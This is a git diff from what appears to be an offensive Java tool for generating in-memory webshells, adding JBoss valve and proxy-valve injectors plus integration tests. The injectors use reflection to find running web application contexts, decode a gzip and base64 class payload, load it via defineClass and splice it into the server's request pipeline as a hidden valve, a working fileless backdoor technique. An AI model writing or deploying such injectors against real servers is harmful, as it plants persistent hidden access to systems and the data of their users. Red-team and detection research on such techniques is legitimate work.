diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index 6f5d97bd..094316e3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -29,8 +29,8 @@ public enum Server { /** * JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 JBoss AS */ - JBossAS(new TomcatShell()), - JBossEAP6(new TomcatShell()), + JBossAS(new JbossShell()), + JBossEAP6(new JbossShell()), /** * Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的 * JBossEAP diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java new file mode 100644 index 00000000..ab6b389e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector; +import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector; +import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class JbossShell extends AbstractShell { + + @Override + public Class getListenerInterceptor() { + return TomcatShell.ListenerInterceptor.class; + } + + @Override + public InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(LISTENER, TomcatListenerInjector.class) + .addInjector(FILTER, TomcatFilterInjector.class) + .addInjector(VALVE, JbossValveInjector.class) + .addInjector(PROXY_VALVE, JbossProxyValveInjector.class) + .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) + .build(); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index c4174762..a746df72 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -53,7 +53,9 @@ public class Jboss423ContainerTest { static Stream casesProvider() { Server server = Server.JBossAS; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.FILTER, ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 7cc32ef0..e832e587 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -52,7 +52,9 @@ public class Jboss510ContainerTest { static Stream casesProvider() { Server server = Server.JBossAS; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.FILTER, ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index b44b249d..d6532c2c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -52,7 +52,9 @@ public class Jboss610ContainerTest { static Stream casesProvider() { Server server = Server.JBossAS; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.FILTER, ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index ba48db9d..b40652b3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -55,7 +55,9 @@ public class Jboss711ContainerTest { static Stream casesProvider() { Server server = Server.JBossAS; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.FILTER, ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index 6278bf8e..263d94ef 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -51,7 +51,9 @@ public class JbossEap6ContainerTest { static Stream casesProvider() { Server server = Server.JBossEAP6; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossProxyValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossProxyValveInjector.java new file mode 100644 index 00000000..fe71a059 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossProxyValveInjector.java @@ -0,0 +1,208 @@ +package com.reajason.javaweb.memshell.injector.jboss; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class JbossProxyValveInjector implements InvocationHandler { + + private Object rawValve; + private Object proxyValve; + + static { + new JbossProxyValveInjector(); + } + + public JbossProxyValveInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getShell(context); + inject(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public JbossProxyValveInjector(Object rawValve, Object proxyValve) { + this.rawValve = rawValve; + this.proxyValve = proxyValve; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + if ("invoke".equals(method.getName())) { + try { + Object request = args[0]; + Object response = args[1]; + if (proxyValve.equals(new Object[]{request, response})) { + return null; + } + } catch (Throwable e) { + e.printStackTrace(); + return method.invoke(rawValve, args); + } + } + return method.invoke(rawValve, args); + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } + } + return contexts; + } + + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = getWebAppClassLoader(context); + try { + return classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + return clazz.newInstance(); + } + } + + @SuppressWarnings("all") + public void inject(Object context, Object valve) throws Exception { + Object pipeline = invokeMethod(context, "getPipeline", null, null); + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve"); + Object rawValve = null; + String fieldName = "first"; + try { + rawValve = getFieldValue(pipeline, fieldName); + } catch (NoSuchFieldException e) { + fieldName = "basic"; + rawValve = getFieldValue(pipeline, fieldName); + } + Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new JbossProxyValveInjector(rawValve, valve)); + setFieldValue(pipeline, fieldName, proxyValve); + System.out.println("proxyValve inject successful"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + public static Field getField(Object obj, String name) throws NoSuchFieldException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { + Field field = getField(obj, name); + field.set(obj, value); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + Field field = getField(obj, name); + return field.get(obj); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java new file mode 100644 index 00000000..9a609935 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java @@ -0,0 +1,177 @@ +package com.reajason.javaweb.memshell.injector.jboss; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class JbossValveInjector { + + static { + new JbossValveInjector(); + } + + public JbossValveInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getShell(context); + inject(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + Collection values = childrenMap.values(); + for (Object value : values) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } + } + return contexts; + } + + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = getWebAppClassLoader(context); + try { + return classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + return clazz.newInstance(); + } + } + + @SuppressWarnings("all") + public void inject(Object context, Object valve) throws Exception { + Object pipeline = invokeMethod(context, "getPipeline", null, null); + if (isInjected(pipeline)) { + System.out.println("valve already injected"); + return; + } + Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); + invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); + System.out.println("valve injected successfully"); + } + + @SuppressWarnings("all") + public boolean isInjected(Object pipeline) throws Exception { + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object valve : valvesList) { + if (valve.getClass().getName().contains(getClassName())) { + return true; + } + } + return false; + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index 5228ac8c..6f025920 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -8,8 +8,8 @@ import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.util.ArrayList; -import java.util.HashMap; import java.util.List; +import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -72,9 +72,9 @@ public class TomcatProxyValveInjector implements InvocationHandler { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { - HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { - HashMap children = (HashMap) getFieldValue(value, "children"); + Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } } else if (thread.getContextClassLoader() != null